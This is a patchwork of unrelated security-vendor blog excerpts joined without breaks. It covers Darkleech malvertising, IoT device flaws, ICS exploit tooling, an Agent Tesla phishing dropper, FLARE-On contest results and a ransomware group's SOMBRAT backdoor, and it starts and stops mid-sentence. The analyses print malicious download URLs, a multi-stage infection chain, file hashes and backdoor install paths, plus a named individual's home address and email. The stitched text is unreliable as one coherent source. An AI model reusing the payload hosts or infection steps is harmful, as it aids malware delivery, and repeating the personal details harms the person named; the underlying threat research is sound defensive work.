but we know this is not the last time we will see it or the crimeware actor behind it.
Registrant:
Name: Alexey Prokopenko Organization: home
Address: Lenina 4, kv 1 City: Ubileine Province/state: LUGANSKA OBL Country: UA Postal Code: 519000 Email: alex1978a
@bigmir.net
By the way, this actor has a long history of malicious activity online too.
The campaign also appears to be abusing Amazon Web Services.
globalcdnnode.com
Server:           ns-293.awsdns-36.com
Address:    205.251.193.37#53 globalcdnnode.com origin = ns-293.awsdns-36.com mail addr =
awsdns-hostmaster.amazon.com
At time of this writing, the domain delivery[.]globalcdnnode[.
]com was still resolving, using fast-flux DNS techniques to resolve to a different IP address every couple minutes, thwarting attempts at shutting down the domain by constantly being on the move.
Figure 5.
– The familiar Plesk control panel, residing on the server.
This was a widespread campaign, indirectly affecting many web sites via malvertising techniques.
The referring hosts run the gamut from local radio stations to high profile news, sports, and shopping sites.
Given the large amounts of web traffic these types of sites see, its not surprising there was a tidal wave of requests to delivery[.]globalcdnnode[.
]com.
Every time a page with the malvertisement was loaded, a request was made to hXXp://delivery.globalcdnnode.com/7f01baa99716452bda5bba0572c58be9/afr-zone.php, in the background.
To give an example of what this activity looked like from DTI, you can see the numbers in the chart below.
Figure 6.
– DTI graph showing number of Darkleech detections logged each day.
By using malvertising and or posing as a legitimate advertiser or content delivery network, the bad guys infiltrate the web advertisement ecosystem.
This results in their malicious content getting loaded in your browser, often times in the background , while you browse sites that have nothing to do with the attack (as was the case in our careers site).
Imagine a scenario where a good portion of enterprise users have a home page set to a popular news website .
More than likely, the main web page has advertisements, and some of those ads could be served from 3 rd party advertiser networks and or CDNs.
If just one of those advertisements on the page is malicious, visitors to that page are at risk of redirection and or infection, even though the news website’s server is itself clean.
So, when everybody shows up to work on Monday and opens their browsers, there could be a wave of clients making requests to exploit kit landing pages, if Darkleech is lurking in those advertisement waters, you could end up with a leech or 2 attached to your network.
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By Steve Povolny on Jan 06, 2020 This week McAfee Advanced Threat Research (ATR) published new findings, uncovering security flaws in two popular IoT devices: a connected garage door opener and a “smart” ring, which, amongst many uses, utilizes near field communication (NFC) to open door locks.
I’d like to use these cases as examples of a growing concern in the area of product security.
The industry of consumer devices has seen some positive momentum for security in recent years.
For example, just a few years back, nearly every consumer-grade router shipped with a default username and password, which, if left unchanged, represented a serious security concern for home networks.
At a minimum, most routers at least now ship with a unique password printed on the physical device itself, dramatically increasing the overall network security.
Despite positive changes such as this, there is a long way to go.
If we think about the history of garage doors, they began as a completely manual object, requiring the owner to lift or operate it physically.
The first overhead garage door was invented in the early 1920s, and an electric version came to market just a few years later.
While this improved the functionality of the device and allowed for “remote” entry, it wasn’t until many years later that an actual wireless remote was added, giving consumers the ability to allow wireless access into their home.
This was the beginning of an interesting tradeoff for consumers – an obvious increase in convenience which introduced a potential new security concern.
The same concept applies to the front door.
Most consumers still utilize physical keys to secure the front door to their homes.
However, the introduction of NFC enabled home door locks, which can be opened using compatible smart rings, adds both convenience and potentially compromised security.
For example, upon investigating the McLear NFC Ring, McAfee ATR uncovered a design insecurity, which could allow an attacker to easily clone the NFC Ring and gain entry to a home utilizing an NFC enabled smart lock.
While the NFC Ring modernizes physical household security, the convenience that comes with technology implementation also introduces a security issue.
The issue here is at a higher level; where and when do we draw the line for convenience versus security?
The numerous benefits technology enhancements bring are exciting and often highly valuable; but many are unaware of the lengths cyber criminals will go to (for example, we once uncovered a vulnerability in a coffee pot which we were able to leverage to gain access to a home Wi-Fi network ) and the many ways new features can reduce the security of a system.
As we move towards automation and remote access to nearly every computerized system on the planet, it’s our shared responsibility to maintain awareness of this fact and demand a higher bar for the products that we buy.
So what can be done?
The responsibility is shared between consumers and manufacturers, and there are a few options: For consumers: Practice proper cyber hygiene.
From a technical perspective, consumers have many tools at their disposal, even when security concerns do manifest.
Implement a strong password policy, put IoT devices on their own, separate, network, utilize dual-factor authentication when possible, minimize redundant systems and patch quickly when issues are found.
Do your research.
Consumers should ensure they are aware of the security risks associated with products available on the market.
For product manufacturers: Manufacturer supported awareness.
Product manufacturers can help by clearly stating the level of security their product provides in comparison with the technology or component they seek to advance.
Embrace vulnerability disclosure.
Threat actors are constantly tracking flaws which they can weaponize; conversely, threat researchers are constantly working to uncover and secure product vulnerabilities.
By partnering with researchers and responding quickly, vendors have a unique opportunity
There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade.
While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.
To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats.
Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data.
This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.
ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks.
For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit , Core Impact , or Immunity Canvas from other cyber operation tools due to their exceedingly high number.
Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks.
Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly.
Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.
Figure 1: ICS attacker knowledge curve The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability.
Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks.
Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.
ICS Cyber Operation Tool Classification Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools.
The term \"ICS-specific,\" as we employ it, does not have a hard-edged definition.
While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment.
Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.
We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.
We assigned each tool to at least one of eight different categories or classes, based on functionality.
Table 1: Classes of ICS-specific intrusion and attack tools While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years.
The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM).
Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products.
Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.
Figure 2 depicts the number of tools by class.
Of note, network discovery tools make up more than a quarter of the tools.
We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.
Figure 2: ICS-specific intrusion and attack tools by class Software Exploit Modules Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility.
Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process.
The module is then added to an exploit framework.
The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices.
The most popular frameworks include Metasploit , Core Impact , and Immunity Canvas .
Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as Autosploit , Industrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework .
Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels.
Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it.
We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.
Exploit Modules Statistics Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit , Core Impact , and Immunity Canvas .
We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days.
The break down is depicted in Figure 3.
Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG .
Figure 3: ICS exploit modules by framework Metasploit framework exploit modules deserve particular attention.
Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools.
This makes Metasploit the most accessible of the three frameworks.
However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.
It is also worthwhile to examine the number of exploit modules by ICS product vendor.
The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).
Figure 4:
Vendors with 10 exploit modules or more Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers.
Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.
Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition.
One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio.
We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited.
Modules from separate frameworks could target the same vulnerability and would each be counted separately.
ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities.
However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks.
Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.
Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape.
These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives.
Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.
FireEye Intelligence customers have access to the full list and analysis of ICS cyber operation tools and exploit modules.
Visit our website to learn more about the FireEye Mandiant Cyber Physical Threat Intelligence subscription .
Subscribe to Blogs Get email updates as new blog posts are added.
Thanks to Val Saengphaibul who helped contribute to this blog.
FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows users Impact:
Compromised machines are under the control of the threat actor Severity Level: Medium Since the dawn of phishing, fraudulent invoicing and purchasing schemes have been one of the most common lures.
The usual modus operandi involves appealing to the recipient’s desire to avoid incurring a debt, especially where a business may be involved.
FortiGuard Labs recently came across an interesting phishing e-mail masquerading as a purchase order addressed to a Ukrainian manufacturing organization that deals with raw materials and chemicals.
The e-mail contained a PowerPoint attachment that is in reality a sophisticated, multi-stage effort to deploy the Agent Tesla RAT (Remote Access Trojan).
What makes this campaign unique is the usage of PPAM, which is a file format that is not very common.
A PPAM is a Microsoft PowerPoint add-in that gives developers extra functionality, such as extra commands, custom macros, and new tools.
This blog will detail the infection process and subsequent malware deployment.
Examining the phishing e-mail Like so many computer-based attacks, this one began as a phishing e-mail sent to an organization in Ukraine.
Spelling and grammar issues aside, like most good phishing campaigns this one provides a time sensitive statement urging the recipient to urgently review the attached order.
Looking deeper at the e-mail and where it came from, we can see some additional information in the headers.
The e-mail originated at an address of 194[.]99[.]46[.
]38 that corresponds to slot0.warongsoto.com .
This is hosted on a run-of-the-mill VPS server.
Visiting the server, we noticed that the site states that the server control panel is controlled by VESTA.
Recent CVE data highlights that Vesta Control Panel is affected by remote command execution and elevation of privilege vulnerabilities that ultimately allow for full compromise of the system ( CVE-2020-10786 and CVE-2020-10787 ).
The domain itself appears to be either abandoned or at least unused with no active content hosted.
It was registered in the United States in October 2021.
The originating e-mail address does not appear to reference an actual individual and a search for other instances of this being used elsewhere came up empty.
Examining the dropper – stage 1 Phase 1 Dropping the final payload occurs in multiple phases, making this, in actuality, a very complex operation.
As shown in Figure 1 , attached to the e-mail is the file “order001.ppam”.
This is an add-in file format used by Microsoft PowerPoint that, in this case, contains a malicious macro that acts as a dropper for Agent Tesla.
The first phase of stage 1 begins with opening the PPAM attachment to activate the macro contained within.
Once the macro is executed, it will reach out to the URL shortener Bit.ly to download the next phase of the dropper.
The address used is: hXXp://www[.]bitly[.
]com/awnycnxbcxncbrpopor/ Phase 2 The call out to Bitly will be redirected to a location on MediaFire – a file hosting site (hXXp://download2261[.]mediafire[.
]com/6lcqxbws032g/wctsdmx4dsh95xs/19.htm).
As possibly inferred, this was a campaign and not simply directed at one recipient.
There were multiple files made available over several days, as shown below in Figure 4.
Each of the files is very similar (with minor tweaks) to the download location of the next step.
Figure 5, below, shows 19.htm as it appears if downloaded directly.
If we arrange the file into a more readable format, we get a better sense of what it’s trying to do.
As seen in Figure 6 , the file attempts to taskkill several applications and services followed by adding a scheduled task into the Windows Task scheduler.
The script then attempts to download and execute another file from MediaFire - hXXp://www[.]mediafire[.
]com/file/otza6n31talvvle/19.dll.
Phase 3 While the file extension gives the impression of a Microsoft dynamic link library (.dll), 19.dll is in actuality a PowerShell script containing instructions in a large amount of hexadecimal data.
Once executed, the hexadecimal data will be transformed into additional PowerShell commands that will run in memory.
For example, new registry keys will be added to assist with persistence.
If captured and reviewed, the entries that stand out the most are two large, compressed byte arrays — $nona and $STRDYFUGIHUYTYRTESRDYUGIRI.
As can be seen in Figure 9 , the byte arrays are then decompressed for use.
Once decompressed, these can be saved as executable Windows files.
$nona is the larger of the two and is Agent Tesla.
$STRDYFUGIHUYTYRTESRDYUGIRI will inject Agent Tesla into a running Windows process.
Renaming 19.dll to 19.ps1 allows it to be executed as a normal PowerShell script.
With this particular sample, it will attempt to launch and then inject Agent Tesla into the aspnet_compiler.exe application.
Examining the malware – stage 2 At its core, Agent Tesla is a keylogger and RAT (Remote Access Trojan).
It will take any results captured from the keyboard and clipboard and send them back to its C2 (Command and Control) server.
In this instance, once injected into the aspnet­_compiler.exe process Agent Tesla will be up and running.
With entries in the registry it will have persistence to run even if the host machine is rebooted.
As can be seen in Figure 11, this variant is similar to one FortiGuard Labs has analyzed previously .
From this point, it will run in the background and observe the user, recording their actions and sending them back to the threat actor.
Conclusion Threat actors for the most part like to use lures that are tried and true, as was the case here with the invoicing phishing e-mail, because they continue to enjoy success.
The dropper attached to the phishing e-mail shows the continuing evolution and complexity required to evade modern security controls combined with the need to traverse several gates to arrive at the release point for the final payload.
Once finally deployed to a system, the ability to obfuscate and hide inside everyday files and processes proves that Agent Tesla is a very capable and formidable threat.
Unfortunately, this trend towards increasing sophistication is unlikely to abate any time soon.
Fortinet Protections FortiMail’s integrated antivirus, sandbox, and content disarm and reconstruction (CDR) functions detect and disable this malicious attachment.
The FortiGuard Antivirus service detects and blocks this threat as: VBA/Agent.
GBX!tr JS/Agent.
YHB!tr PossibleThreat.
PALLAS.H
The domain warongsoto.com is blocked by the Web Filtering client.
IOCs Sample SHA-256: DLL/PS1 SHA256 27C7F5F2A21298C66A8EEF11DF73BFB1E9EEF7B84974CEF9AF695A7E216EFA21 F86FDC385BA4467FD27093DFB6A642C705199AC3307D24096D7150FB6A80E8FD 9971EE4C59F1838C111CFAA0BC26A6C08B80FD7364C193F6D8DCA1A840D37B7F
D147E24E603FB17CE3C6EC839CC8AD07BCE06455037CC0E139CC68042153B7A7 7659EC63CF7010158517AD0DFD3828F8B46592BDBC374D906BACD80A8500DA4B D98D56AEB0A3DBD020C1F6ED9CFE0848A4D8C57DABBB064FBCD0305BDF8B329C 4FD01BF61C49579A40EFDD86D736930585AB3E79D9085177303DDCFF61480E26 7384900E7BB02B1028D92A145CBE2BDB5E3283336C0E5E6014AFCD546B17B985 EFDFD9CCDFB052FD7693403D1E8E085594C1B3B7ED221FD6021F794B5BA752C5 90313F269F0583FBC179BEABAE2A48B1B53594F1FB4A27556861D5D82AD722EC 3C1636CF2A4296840D55A8BAF9ABB56E1C847C5D6E3A7DF0D7040050D017E54C EC9E8CB17C92C4D6175FB3E715F73C4BEF833742168451398A99DE22F06FB52E
87B7F2C05F3E63821DE8AD22EE7ED9CA034CD61332EBAE3E1F76AF085696D5F8 B5CF3D2594E148C458467C833B0D95976480FB054A7763E1F6DCF4187A61E1BE 0C3F881258EF9F1DB9A9923945AB07351DA8BA1A337AACCBCB6B5BD56AE080B3 3B9D6FC6449B7B42E816A19C2B649A5E5CF4E724B2FCD93E56445DECA89FB850 34CFFA6664C92F77EE60749E251A4ED18A15A3F0F61C78BCADA9EA86478681E0 380C8FC86237A6B847F40870E9A15ADA1914F25174FF40838604354389EF9540 B8403149F7A6E0FCCCB9C6E793BDCE7431385F86174D80B0C65F89A9C948A47F
D7E76887903EBD361112531017E140D2BFAAA816598C648F3B1238DCC6906BF1 CB758A93876ACD5F7A314FDA6CCB97D0FC115ABFFF7F22637B629B1E91CF1970 F3D9873EE798BF649A22C50E3DAEEBADFC127A405C0D8F54266B66C4377901E0 1BD2383346BF8B1924C179B1616AF56A2BC4248717329B90E01FF13DB45ABE4F 5DC6B8CC1E9D1EE535752E6C5320280F864EA660B5BF8657F96B8E2B1053C57A FA37BD017B82C1F7C545475F7A0CD786F81BC2CC024DA46CBDB4071B22ED4FFB
Fileless Tesla SHA256 F69B85F5763CEC5A5DA5CE1152038FFEEF7A2A75600003ADBFEB3DC87502C8A8 B409FF4CD1B8F18E80AFA98B3306440391FB5CBE294E6DA14E8146F63ECA2C6C 34EEEDAB0ABBEB1BAFFCCFDAEF74E54A7786F24BC5024B2F23A6F9385FEC9917 6449D03A519CAB4B7C4E19D53D57A16AE69B70D7DF6BE815BCB57DC7395AB991
E77DCCCB70AD61D50AC7E8C5DA1F79D5BC22B1F42A6651252EB449241BD6068B C7840150DC084B1E0F6961EC61C39793BBED40FE17A7E24124DFE07F2C1A7B40 F4542569E3F54CBC93AB835567507242DDDCAE2A84743DA103332EEFF3501ABD 851CC3973B096C8DA88E1EDB568C17750D019CA7F2528B3DA933D33D7F306A46 C0C3A9CBDC769F3B86EAB40A9032769FE61E5E9B93CE7A93A0CC02EF43D4B9B5 256F7CC33E3E359427702FF79E59C5EEA73164CC74D96B6F24E6BE19B62500E7 445E6D6EBA924CC86005C107F329B248997AAC4149FBBD540A656FBA50A68C19 D321AF1AF7D8B0A19B87897938B23ADB57C9089B73F2C15E0E2747B0071D1715 822F2266CA284C5318E75C1286F7B4ED746E9289323B57462E227ED8D4D1AC8F 399B6B1AED4B62C165FE074DD9A43DEC0F0E1D5A50C89BFCA4A902CBFDBC17D5 6BCDC49281217C3D8A82ED29A6BC89154885B08954AC3F78FA11BB09BF34A109
1DF27F8D8B8572CB76D7275D7FE686C88F4297DA39095C1399B1E55459DFFDF6 49BF5F9D59C27291FCB0D9F0C593DCB00CA9705E5D294E9C55353BDEFBC37273 A155AB7DB6D22A44487D909BB040F5300B6E24283CDB7D7D902E7CE5CDD533BB FD210DFB8C2F3B33FEEE191608EF58DD2816F08E9850DB734143115BA199690E 5F53A249455BB903C2C57A5CE23BFA6D069966034F74947A70037DEB1459DC88 AD3BE25985B1DFA0A72C7CE59365F2AE7142FB4B2A78B7905D10AEB13998DDD4 9783473EFECA3003D6A1B8DB8FE0E1A8AA291F170110D974C058806A25B4C419 B1043F48E99EF5B98F4987E1FFD3200CD6A32B3427BA2762310FDEA58934D95C 3E99AA348FAFFDF2D73867C47067EA17A96CA36E5329E30C3A37F45B4274D165 0ABBD4F17EC6DEDEFA188E39501B923286C56627ACB87FEC73271E459A383D0D
Filename SHA256 Order001.ppam DCA3AC723A130E56FB158C34C68E1C4B7D8577D0DBE9D8B859BFFF7ADA34D02E Loader 4C0E2CB721585C480169B3804E17E2761BC5FE76584CF1375FCCDB33CA64D5A5 Network IOCs: 192[.]154[.]226[.
]47 hxxps://www[.]mediafire[.
]com/file/s2w0i5rhl9e4wje/1.dll hxxps://www[.]mediafire[.
]com/file/u8t0g2vyrvoyldp/10.dll hxxps://www[.]mediafire[.
]com/file/hheln09oi15b266/11.dll hxxps://www[.]mediafire[.
]com/file/mra2u90srnmymxl/12.dll hxxps://www[.]mediafire[.
]com/file/e7fmuc053m1vdz5/13.dll hxxps://www[.]mediafire[.
]com/file/l3xh5g98wf5l4gv/14.dll hxxps://www[.]mediafire[.
]com/
file/5d7sd1qat59dtpy/15.dll hxxps://www[.]mediafire[.
]com/file/2tpkh278oypz794/16.dll hxxps://www[.]mediafire[.
]com/file/hjjo0rc7izwy4is/17.dll hxxps://www[.]mediafire[.
]com/file/wy0e3mn2xyaqdhd/18.dll hxxps://www[.]mediafire[.
]com/file/otza6n31talvvle/19.dll hxxps://www[.]mediafire[.
]com/file/dsgxrjtpbyyzm7u/2.dll hxxps://www[.]mediafire[.
]com/file/
mf3pufkmdshddyq/20.dll hxxps://www[.]mediafire[.
]com/file/ijdnf0wqv4e5frr/21.dll hxxps://www[.]mediafire[.
]com/file/c9gt9xi3l9srlhi/22.dll hxxps://www[.]mediafire[.
]com/file/pqk7p5p1vvcv5s1/23.dll hxxps://www[.]mediafire[.
]com/file/mqbl43fcem1fndd/24.dll hxxps://www[.]mediafire[.
]com/file/xz0guzs3g004f0i/25.dll hxxps://www[.]mediafire[.
]com/file/qe4ece114vu4n0o/3.dll hxxps://www[.]mediafire[.
]com/file/wbh1kq3u82mcso6/4.dll hxxps://www[.]mediafire[.
]com/file/x0o4nlef7snbixu/5.dll hxxps://www[.]mediafire[.
]com/file/xrnlyn4pjcmcfyf/6.dll hxxps://www[.]mediafire[.
]com/file/
qbzdrs7ulvvzfay/7.dll hxxps://www[.]mediafire[.
]com/file/9q41qxg988c3opx/8.dll hxxps://www[.]mediafire[.
]com/file/xxbskabqkber6oq/9.dll
Mitre TTPs Resource Development Stage Capabilities:
Upload Malware T1608.001 Initial Access Phishing:
Spearphishing Attachment T1566.001 Execution Command and Scripting Interpreter:
PowerShell T1059.001 User Execution:
Malicious File T1204.002 Persistence Boot or Logon Autostart Execution:
Registry Run Keys / Startup
Folder
T1547.001 Defense Evasion Process Injection: Portable Executable Injection T1055.002 Reflective Code Loading T1620
Credentials Access Credentials from Password Stores: Credentials from Web Browsers T1555.003 Input Capture:
Keylogging T1056.001 Discovery Account
Discovery T1087 Command and Control Application Layer Protocol: Web Protocols T1071.001 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
It’s not an alien space ship, it’s a huge belt buckle for this year’s\nwinners (quarter for scale)!
The challenge was a massive success, with\n162 winners from a total of 1408 active participants.
We consider\nactive participants as those who solved one or more challenges.
All\nthe stats presented here are as of 12:00pm Eastern Time, which is 8\nhours before the end of the contest.
The first challenge binary was\ndownloaded by 4,850 people.
The following graph depicts the number of\nfinishers of each of the 11 stages this year.
The first few challenges narrowed the playing field drastically, with most serious contestants holding firm through challenges 4-9.
The last two increased the difficulty level and proved a difficult final series of challenges for a well-earned finish line.
The FLARE On Challenge always reaches a very wide international audience.
Outside of the USA, this year’s country with the most finishers was China, with and impressive 11 winners.
I hope that massive shipment of belt buckles doesn’t get caught up in customs!
The performance of contestants from Vietnam and Slovakia were also particularly commendable, as both held early leads in total finishers.
Based on the locations we are sending the challenge prizes to (people who responded with their shipping info by noon today) we can say that 33 countries had finishers this year.
This next graphs shows the total winners by country this year.
And without further ado, here are the solutions for this year’s challenges, each written by their respective challenge creator.
1.
CLICK HERE FOR SOLUTION #1 2.
CLICK HERE FOR SOLUTION #2 3.
CLICK HERE FOR SOLUTION #3 4.
CLICK HERE FOR SOLUTION #4 5.
CLICK HERE FOR SOLUTION #5 6.
CLICK HERE FOR SOLUTION #6 7.
CLICK HERE FOR SOLUTION #7 8.
CLICK HERE FOR SOLUTION #8 9.
CLICK HERE FOR SOLUTION #9 10.
CLICK HERE FOR SOLUTION #10 11.
CLICK HERE FOR SOLUTION #11
We hope you had fun and learned something new about reverse engineering!
Stay tuned for the third FLARE On Challenge coming in 2016!
Subscribe to Blogs Get email updates as new blog posts are added.
Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT.
Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly.
UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums.
UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.
Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware.
Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021.
Background In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients.
Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware.
In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted.
During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed.
Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor.
Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021.
In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1).
Figure 1:
FIVEHANDS
Hello Kitty icon When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021.
Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity.
For more information on uncategorized threats, refer to our post, \" DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors .\"
SonicWall SMA 100 Series Appliance Vulnerability CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products.
A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability.
Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance.
This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021.
For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001 .
WARPRISM WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ.
WARPRISM is used to evade endpoint detection and will load its payload directly into memory.
WARPRISM may be used by multiple groups.
FOXGRABBER FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems.
It contains the PDB path: C:\\Users\\kolobko\\Source\\Repos\\grabff\\obj\\Debug\\grabff.pdb.
FOXGRABBER has also been observed in DARKSIDE ransomware intrusions.
BEACON Malleable Profiles In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles.
UNC2447 Toolbox During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP.
UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection.
SOMBRAT Overview SOMBRAT was first reported by Blackberry Cylance in November 2020 as \" The CostaRicto Campaign: Cyber-Espionage Outsourced \" as a potential espionage-for-hire criminal group.
Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions.
The SOMBRAT backdoor is packaged as a 64-bit Windows executable.
It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets.
Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant.
The backdoor's primary purpose is to download and execute plugins provided via the C2 server.
In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis.
Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines.
The SOMBRAT Launcher This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers.
They are typically installed to the hardcoded directory path `C:\\ProgramData\\Microsoft`.
path: `C:\\programdata\\Microsoft\\WwanSvc.bat` - launcher for `WwanSvc.txt` path: `C:\\programdata\\Microsoft\\WwanSvc.txt` - decoder and launcher for `WwanSvc.c` path: `C:\\programdata\\Microsoft\\WwanSvc.c` - decoder and launcher for `WwanSvc.b` path: `C:\\programdata\\Microsoft\\WwanSvc.a` - XOR key path: `C:\\programdata\\Microsoft\\WwanSvc.b` - encoded SOMBRAT backdoor path: `%TEMP%\\<possibly unique random name>` - encrypted storage file path: `%TEMP%\\<possibly unique random name _<integer>` - encrypted storage file path: `C:\\ProgramData\\<possibly unique random name ` - encrypted configuration file Other variations of the filenames were observed such as ntuser and wapsvc.
SOMBRAT Technical Details
The SOMBRAT backdoor is written in modern C++ and implemented as a collection of \"plugins\" that interoperate with one another.
There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present).
The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins.
The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading.
The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols.
The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data.
The `taskman` plugin enables the operator to list and kill processes on the compromised system.
